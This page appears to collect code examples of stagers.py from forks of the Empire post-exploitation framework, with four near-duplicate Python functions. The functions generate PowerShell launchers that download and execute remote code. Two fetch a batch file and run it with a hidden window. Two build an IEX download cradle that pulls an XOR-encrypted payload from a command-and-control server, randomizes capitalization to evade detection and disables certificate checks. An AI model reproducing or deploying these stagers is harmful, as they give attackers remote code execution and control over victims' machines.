コード例 #1
0
ファイル: stagers.py プロジェクト: 0xe7/Empire
 def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '):
     #TODO add handle for other than powershell language
     stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
     if encode:
         return helpers.powershell_launcher(stager, launcher)
     else:
         return stager
コード例 #2
0
 def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '):
     #TODO add handle for other than powershell language
     stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
     if encode:
         return helpers.powershell_launcher(stager, launcher)
     else:
         return stager
コード例 #3
0
    def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0"):
        """
        Generate the initial IEX download cradle with a specified
        c2 server and a valid HTTP checksum.

        listenerName -> a name of a validly registered listener

        userAgent ->    "default" uses the UA from the default profile in the database
                        "none" sets no user agent
                        any other text is used as the user-agent
        proxy ->        "default" uses the default system proxy
                        "none" sets no proxy
                        any other text is used as the proxy

        """

        # if we don't have a valid listener, return nothing
        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        # extract the staging information from this specified listener
        (server, stagingKey, pivotServer, hop, defaultDelay) = self.mainMenu.listeners.get_stager_config(listenerName)

        # if UA is 'default', use the UA from the default profile in the database
        if userAgent.lower() == "default":
            userAgent = self.userAgent

        if self.headers:
            headers = self.headers
        else:
            headers = ''
        # get the launching URI
        URI = self.generate_launcher_uri(server, encode, pivotServer, hop)

        stager = helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue = 0;")
        stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
        stager += "$u='"+userAgent+"';"

        if "https" in URI:
            # allow for self-signed certificates for https connections
            stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"

        if headers:
            for h in headers:
                stager += helpers.randomize_capitalization("$wc.Headers.Add('"+h[0]+"','" +h[1]+ "');")

        if userAgent.lower() != "none" or proxy.lower() != "none":

            if userAgent.lower() != "none":
                stager += helpers.randomize_capitalization("$wc.Headers.Add(")
                stager += "'User-Agent',$u);"

            if proxy.lower() != "none":
                if proxy.lower() == "default":
                    stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;")
                else:
                    # TODO: implement form for other proxy
                    stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;")
                    stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
                    stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
                if proxyCreds.lower() == "default":
                    stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
                else:
                    # TODO: implement form for other proxy credentials
                    pass

        # the stub to decode the encrypted stager download by XOR'ing with the staging key
        stager += helpers.randomize_capitalization("$K=")
        stager += "'"+stagingKey+"';"

        if(stagerRetries == "0"):
            stager += helpers.randomize_capitalization("$i=0;[char[]]$b=([char[]]($wc.DownloadString(\"")
            stager += URI
            stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join'')")
        else:
            # if there are a stager retries
            stager += helpers.randomize_capitalization("$R=%s;do{try{$i=0;[cHAR[]]$B=([cHAR[]]($WC.DoWNLOadSTriNg(\"" %(stagerRetries))
            stager += URI
            stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join''); $R=0;}catch{sleep "+str(defaultDelay)+";$R--}} while ($R -gt 0)")

        # base64 encode the stager and return it
        if encode:
            return helpers.powershell_launcher(stager)
        else:
            # otherwise return the case-randomized stager
            return stager
コード例 #4
0
ファイル: stagers.py プロジェクト: asmc/Empire-Win
    def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0"):
        """
        Generate the initial IEX download cradle with a specified
        c2 server and a valid HTTP checksum.

        listenerName -> a name of a validly registered listener

        userAgent ->    "default" uses the UA from the default profile in the database
                        "none" sets no user agent
                        any other text is used as the user-agent
        proxy ->        "default" uses the default system proxy 
                        "none" sets no proxy
                        any other text is used as the proxy

        """

        # if we don't have a valid listener, return nothing
        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        # extract the staging information from this specified listener
        (server, stagingKey, pivotServer, hop, defaultDelay) = self.mainMenu.listeners.get_stager_config(listenerName)

        # if UA is 'default', use the UA from the default profile in the database
        if userAgent.lower() == "default":
            userAgent = self.userAgent

        # get the launching URI
        URI = self.generate_launcher_uri(server, encode, pivotServer, hop)

        stager = helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
        stager += "$u='"+userAgent+"';"

        if "https" in URI:
            # allow for self-signed certificates for https connections
            stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
        
        if userAgent.lower() != "none" or proxy.lower() != "none":
            
            if userAgent.lower() != "none":
                stager += helpers.randomize_capitalization("$wc.Headers.Add(")
                stager += "'User-Agent',$u);"

            if proxy.lower() != "none":
                if proxy.lower() == "default":
                    stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;")
                else:
                    # TODO: implement form for other proxy
		    stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;")
                    stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
                    stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
                if proxyCreds.lower() == "default":
                    stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
                else:
                    # TODO: implement form for other proxy credentials
                    pass 

        # the stub to decode the encrypted stager download by XOR'ing with the staging key
        stager += helpers.randomize_capitalization("$K=")
        stager += "'"+stagingKey+"';"

        if(stagerRetries == "0"):
            stager += helpers.randomize_capitalization("$i=0;[char[]]$b=([char[]]($wc.DownloadString(\"")
            stager += URI
            stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join'')")
        else:
            # if there are a stager retries
            stager += helpers.randomize_capitalization("$R=%s;do{try{$i=0;[cHAR[]]$B=([cHAR[]]($WC.DoWNLOadSTriNg(\"" %(stagerRetries))
            stager += URI
            stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join''); $R=0;}catch{sleep "+str(defaultDelay)+";$R--}} while ($R -gt 0)")

        # base64 encode the stager and return it
        if encode:
            return helpers.powershell_launcher(stager)
        else:
            # otherwise return the case-randomized stager
            return stager